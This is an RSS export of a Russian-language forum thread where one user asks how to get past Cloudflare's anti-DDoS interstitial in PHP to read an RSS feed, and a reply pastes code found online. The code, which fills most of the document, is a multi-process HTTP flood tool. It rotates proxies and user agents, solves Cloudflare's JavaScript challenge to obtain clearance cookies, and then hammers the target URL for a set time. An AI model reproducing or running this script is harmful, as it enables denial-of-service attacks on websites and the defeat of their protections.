<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title><![CDATA[Неофициальный форум DLNA Home Media Server &mdash; DDoS protection by Cloudflare]]></title>
		<link>https://hms.lostcut.net/viewtopic.php?id=650</link>
		<atom:link href="https://hms.lostcut.net/extern.php?action=feed&amp;tid=650&amp;type=rss" rel="self" type="application/rss+xml" />
		<description><![CDATA[Недавние сообщения в теме «DDoS protection by Cloudflare».]]></description>
		<lastBuildDate>Sat, 08 Jun 2019 13:09:28 +0000</lastBuildDate>
		<generator>PunBB</generator>
		<item>
			<title><![CDATA[Re: DDoS protection by Cloudflare]]></title>
			<link>https://hms.lostcut.net/viewtopic.php?pid=14632#p14632</link>
			<description><![CDATA[<p>В и-нете попался такой код на php по решению проблемы (еще не проверял), но может будет интересно.<br /></p><div class="codebox"><pre><code>if($argc != 5) {
 
 echo &quot;Usage: php $argv[0] http://site.com/ (proxy list set to dog if none)(threads)(time)\n&quot;;
 
 die();
 
}
 
function get_between($string,$start,$end)
 
{
 
 $string = &quot; &quot;.$string;
 
 $ini = strpos($string, $start);
 
 if($ini==0) return &quot;&quot;;
 
 $ini += strlen($start);
 
 $len = strpos($string, $end, $ini) - $ini;
 
 
 
 return substr($string, $ini, $len);
 
}
 
function rand_line($fileName, $maxLineLength = 4096) {
 
 $handle = @fopen($fileName, &quot;r&quot;);
 
 if ($handle) {
 
 $random_line = null;
 
 $line = null;
 
 $count = 0;
 
 while (($line = fgets($handle, $maxLineLength)) !== false) {
 
 $count++;
 
 if(rand() % $count == 0) {
 
 $random_line = $line;
 
 }
 
 }
 
 if (!feof($handle)) {
 
 echo &quot;Error: unexpected fgets() fail\n&quot;;
 
 fclose($handle);
 
 return null;
 
 } else {
 
 fclose($handle);
 
 }
 
 return $random_line;
 
 }
 
}
 
function bypassyourdog($domain, $useragent, $proxy) {
 
 $cURL = curl_init();
 
 curl_setopt($cURL, CURLOPT_URL, $domain);
 
 curl_setopt($cURL, CURLOPT_RETURNTRANSFER, 1);
 
 curl_setopt($cURL, CURLOPT_HEADER, 1);
 
 curl_setopt($cURL, CURLOPT_USERAGENT, $useragent);
 
 curl_setopt($cURL, CURLOPT_FOLLOWLOCATION, true);
 
 curl_setopt($cURL, CURLOPT_PROXY, $proxy);
 
 curl_setopt($cURL, CURLOPT_COOKIEFILE, &quot;cookie.txt&quot;);
 
 $string = curl_exec($cURL);
 
 curl_close($cURL);
 
 if(strstr($res, &quot;DDoS protection by CloudFlare&quot;)){
 
 return &#039;UAM not detected.&#039;;
 
 }
 
 $domain = get_between($string, &#039; &#039;, &#039;.&#039;);
 
 $jschl_vc = get_between($string, &#039;&quot;jschl_vc&quot; value=&quot;&#039;, &#039;&quot;/&gt;&#039;);
 
 $pass = get_between($string, &#039;&quot;pass&quot; value=&quot;&#039;, &#039;&quot;/&gt;&#039;);
 
 $settimeout = get_between($string, &#039;setTimeout(function(){&#039;, &#039;f.submit()&#039;);
 
 $mathvariables = get_between($settimeout, &#039;var t,r,a,f, &#039;, &#039;;&#039;);
 
 $mathvariable = explode(&#039;=&#039;, $mathvariables);
 
 $mathvariable1 = get_between($mathvariables, &#039;{&quot;&#039;, &#039;&quot;:&#039;);
 
 $mathvariable2 = $mathvariable[0].&quot;.&quot;.$mathvariable1;
 
 $math1 = get_between($mathvariables, &#039;&quot;:&#039;, &#039;}&#039;);
 
 $math2 = $mathvariable[0].get_between($settimeout, &quot;;&quot;.$mathvariable[0], &#039;;a.value&#039;);
 
 $fuck = 0;
 
 $math2s = explode(&#039;;&#039;, $math2);
 
 $mathtotal = 0;
 
 $answers = array();
 
 $totalformath1 = 0;
 
 //echo &quot;Domain: $domain\nJSCHL_VC: $jschl_vc\nPASS: $pass\nSet Timeout: $settimeout\n&quot;;
 
 if($pass == NULL) {
 
 file_put_contents(&#039;log.txt&#039;, $string, FILE_APPEND);
 
 }
 
 if(get_between($math1, &#039;((&#039;, &#039;))&#039;) != NULL) {
 
 $dog311 = get_between($math1, &#039;((&#039;, &#039;))&#039;);
 
 $math1ss = explode(&#039;)&#039;, $dog311);
 
 $math1sss = explode(&#039;+&#039;, $math1ss[0]);
 
 $math1ssss = explode(&#039;(&#039;, $dog311);
 
 $math1sssss = explode(&#039;+&#039;, $math1ssss[1]);
 
 $ifuckdog = 0;
 
 $ufuckdog = 0;
 
 foreach($math1sss as $imoutofvars2) {
 
 if ($imoutofvars2 == &quot;!&quot; || $imoutofvars2 == &quot;!![]&quot; || $imoutofvars2 == &quot;![]&quot;) {
 
 $ifuckdog++;
 
 }
 
 }
 
 foreach($math1sssss as $imoutofvars3) {
 
 if ($imoutofvars3 == &quot;!&quot; || $imoutofvars3 == &quot;!![]&quot; || $imoutofvars3 == &quot;![]&quot;) {
 
 $ufuckdog++;
 
 }
 
 }
 
 $totalformath1 = $ifuckdog.$ufuckdog;
 
 array_push($answers, $totalformath1.&quot; +&quot;);
 
 } else {
 
 $math1ss = explode(&#039;+&#039;, $math1);
 
 foreach($math1ss as $fuckmydog){
 
 if ($fuckmydog == &quot;!&quot; || $fuckmydog == &quot;!![]&quot; || $fuckmydog == &quot;![]&quot;) {
 
 $totalformath1++;
 
 }
 
 }
 
 array_push($answers, $totalformath1.&quot; +&quot;);
 
 }
 
 foreach($math2s as $dog123){
 
 $typeofmath = substr($dog123, strlen($mathvariable2), 1);
 
 if(get_between($dog123, &#039;((&#039;, &#039;))&#039;) != NULL) {
 
 $dog321 = get_between($dog123, &#039;((&#039;, &#039;))&#039;);
 
 $poop = 0;
 
 $shit = 0;
 
 $mathss = explode(&#039;)&#039;, $dog321);
 
 $mathsss = explode(&#039;+&#039;, $mathss[0]);
 
 $mathssss = explode(&#039;(&#039;, $dog321);
 
 $mathsssss = explode(&#039;+&#039;, $mathssss[1]);
 
 foreach($mathsss as $imoutofvars) {
 
 if ($imoutofvars == &quot;!&quot; || $imoutofvars == &quot;!![]&quot; || $imoutofvars == &quot;![]&quot;) {
 
 $poop++;
 
 }
 
 }
 
 foreach($mathsssss as $imoutofvars1) {
 
 if ($imoutofvars1 == &quot;!&quot; || $imoutofvars1 == &quot;!![]&quot; || $imoutofvars1 == &quot;![]&quot;) {
 
 $shit++;
 
 }
 
 }
 
 $fuck = $poop.$shit;
 
 array_push($answers, $fuck.&quot; &quot;.$typeofmath);
 
 $fuck = 0;
 
 } else {
 
 $fuckingdogs = explode(&#039;=&#039;, $dog123);
 
 $fuckingcats = explode(&#039;+&#039;, $fuckingdogs[1]);
 
 foreach($fuckingcats as $idinglecats) {
 
 if ($idinglecats == &quot;!&quot; || $idinglecats == &quot;!![]&quot; || $idinglecats == &quot;![]&quot;) {
 
 $fuck++;
 
 }
 
 }
 
 array_push($answers, $fuck.&quot; &quot;.$typeofmath);
 
 $fuck = 0;
 
 }
 
 }
 
 foreach($answers as $answer) {
 
 $ilikedogs = explode(&#039; &#039;, $answer);
 
 switch($ilikedogs[1]) {
 
 case &quot;+&quot;:
 
 $mathtotal = $mathtotal + $ilikedogs[0];
 
 break;
 
 case &quot;-&quot;:
 
 $mathtotal = $mathtotal - $ilikedogs[0];
 
 break;
 
 case &quot;*&quot;:
 
 $mathtotal = $mathtotal * $ilikedogs[0];
 
 break;
 
 }
 
 }
 
 $jschl_answer = strlen($domain) + $mathtotal;
 
 $domain1 = $domain.&quot;/cdn-cgi/l/chk_jschl?jschl_vc=$jschl_vc&amp;pass=$pass&amp;jschl_answer=$jschl_answer&quot;;
 
 usleep(3000000);
 
 $cURL1 = curl_init();
 
 curl_setopt($cURL1, CURLOPT_URL, $domain1);
 
 curl_setopt($cURL1, CURLOPT_RETURNTRANSFER, 1);
 
 curl_setopt($cURL1, CURLOPT_HEADER, 1);
 
 curl_setopt($cURL1, CURLOPT_USERAGENT, $useragent);
 
 curl_setopt($cURL1, CURLOPT_FOLLOWLOCATION, true);
 
 curl_setopt($cURL1, CURLOPT_PROXY, $proxy);
 
 curl_setopt($cURL1, CURLOPT_COOKIEFILE, &quot;cookie.txt&quot;);
 
 $test = curl_exec($cURL1);
 
 $cfuid = get_between($test, &#039;__cfduid=&#039;, &#039;; expires&#039;);
 
 $cf_clearance = get_between($test, &#039;cf_clearance=&#039;, &#039;; expires&#039;);
 
 //echo &#039;__cfduid=&#039;.$cfuid.&#039;;&gt;
 
 return &#039;__cfduid=&#039;.$cfuid.&#039;;&gt;.$cf_clearance;
 
}
 
$useragents = array(
 
 &quot;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1&quot;, &quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5&quot;,
 
 &quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11&quot;,&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2&quot;,
 
 &quot;Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1&quot;,&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11&quot;,&quot;Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1&quot;,
 
 &quot;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5&quot;,&quot;Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)&quot;,
 
 &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1&quot;,&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5&quot;,
 
 &quot;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11&quot;,&quot;Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5&quot;,
 
 &quot;Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11&quot;,&quot;Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1&quot;,
 
 &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1&quot;,&quot;Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3&quot;,
 
 &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2&quot;,&quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6&quot;,
 
 &quot;Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3&quot;,&quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)&quot;,
 
 &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11&quot;,&quot;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)&quot;,
 
 &quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11&quot;,&quot;Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1&quot;,
 
);
 
$end = time() + $argv[4];
 
$threads = $argv[3];
 
$failed = 0;
 
$succeed = 0;
 
echo &quot;Made by Decafe\n&quot;;
 
echo &quot;Starting cf bypass on $argv[1] for $argv[4] seconds with $argv[3] threads\n&quot;;
 
for($i = 0; $i &lt; $threads; $i ++){
 
 $pid = pcntl_fork();
 
 if($pid == -1) {
 
 echo &quot;Forking failed on $i loop of forking.\n&quot;;
 
 exit();
 
 } elseif($pid) {
 
 continue;
 
 } else {
 
 if(!(strpos($argv[2], &quot;dog&quot;))) {
 
 $proxy = rand_line($argv[2]);
 
 } else {
 
 $proxy = NULL;
 
 }
 
 $ua = $useragents[array_rand($useragents)];
 
 $bypasscookie = bypassyourdog($argv[1], $ua, $proxy);
 
 if(strlen($bypasscookie) &gt; 70) {
 
 while($end &gt; time()) {
 
 $flood = curl_init();
 
 curl_setopt($flood, CURLOPT_URL, $argv[1]);
 
 curl_setopt($flood, CURLOPT_RETURNTRANSFER, 1);
 
 curl_setopt($flood, CURLOPT_USERAGENT, $ua);
 
 curl_setopt($flood, CURLOPT_FOLLOWLOCATION, true);
 
 curl_setopt($flood, CURLOPT_PROXY, $proxy);
 
 curl_setopt($flood, CURLOPT_COOKIE, $bypasscookie);
 
 $flood123 = curl_exec($flood);
 
 curl_close($flood);
 
 }
 
 }
 
 die();
 
 }
 
}
 
for($j = 0; $j &lt; $threads; $j++) {
 
 $pid = pcntl_wait($status);
 
}
 
?&gt;</code></pre></div>]]></description>
			<author><![CDATA[null@example.com (smsbox3)]]></author>
			<pubDate>Sat, 08 Jun 2019 13:09:28 +0000</pubDate>
			<guid>https://hms.lostcut.net/viewtopic.php?pid=14632#p14632</guid>
		</item>
		<item>
			<title><![CDATA[DDoS protection by Cloudflare]]></title>
			<link>https://hms.lostcut.net/viewtopic.php?pid=14631#p14631</link>
			<description><![CDATA[<p>Есть ли возможность на php обойти защиту DDoS protection by Cloudflare, которая не дает качнуть страницу? При просмотре из браузера на экране появляется на 5 секунда заставка, после чего происходит переадресация.&nbsp; Мне не надо атаковать сайт, мне надо получить с него rss ленту.Вот один из таких сайтов </p><div class="codebox"><pre><code>http://parstoday.com/ru/rss</code></pre></div><p> Прикольно, что официальное СМИ Ирана использует защиту от компании из США <img src="https://hms.lostcut.net/extensions/k_smiles/img/ab.gif" alt=":)" /> Но это только как пример, так как Cloudflare дает бесплатно защиту и&nbsp; жалеющих ее использовать будет все больше.</p>]]></description>
			<author><![CDATA[null@example.com (smsbox3)]]></author>
			<pubDate>Sat, 08 Jun 2019 13:04:54 +0000</pubDate>
			<guid>https://hms.lostcut.net/viewtopic.php?pid=14631#p14631</guid>
		</item>
	</channel>
</rss>
